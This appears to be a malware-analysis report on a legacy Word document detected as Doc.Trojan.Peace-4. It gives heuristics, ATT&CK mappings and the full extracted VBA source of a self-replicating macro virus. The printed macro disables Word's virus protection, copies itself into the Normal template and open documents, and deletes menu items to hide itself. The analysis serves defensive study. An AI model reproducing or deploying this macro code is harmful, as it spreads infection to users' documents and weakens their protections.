MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a legacy Word document containing a VBA macro named 'peace' with an AutoOpen subroutine. This macro attempts to copy itself to the Normal template and the active document, suggesting an intent to establish persistence. The macro also manipulates application settings and command bars, which could be used to hide its presence or prevent analysis. The ClamAV detection 'Doc.Trojan.Peace-4' further supports its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Peace-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Peace-4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2106 bytes |
SHA-256: b9b31091f06cfe9ff4ac999bea92b5785fb8d4cacc4b7fc148ac3798b97a8cd5 |
|||
|
Detection
ClamAV:
Doc.Trojan.Peace-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "peace"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = " free "
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "East.peace.AutoOpen"
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
ToolsOptionsGeneral.SendMailAttach = 1
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Set GlobalDoc = NormalTemplate
Set ActiveDoc = ActiveDocument
GlobalInstalled = No
DocumentInstalled = No
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(j).Name = "peace" Then
GlobalInstalled = Yes
End If
Next
If GlobalInstalled = No Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="peace", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "peace" Then
DocumentInstalled = Yes
End If
Next
If DocumentInstalled = No Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="peace", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
Application.DisplayAlerts = wdAlertsAll
peace:
End Sub
Sub helpabout()
Attribute helpabout.VB_Description = " "
Attribute helpabout.VB_ProcData.VB_Invoke_Func = "East.peace.helpabout"
If (Day(Now)) = 1 Then
MsgBox "Copy me I want to travel", vbInformation, "Peace"
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.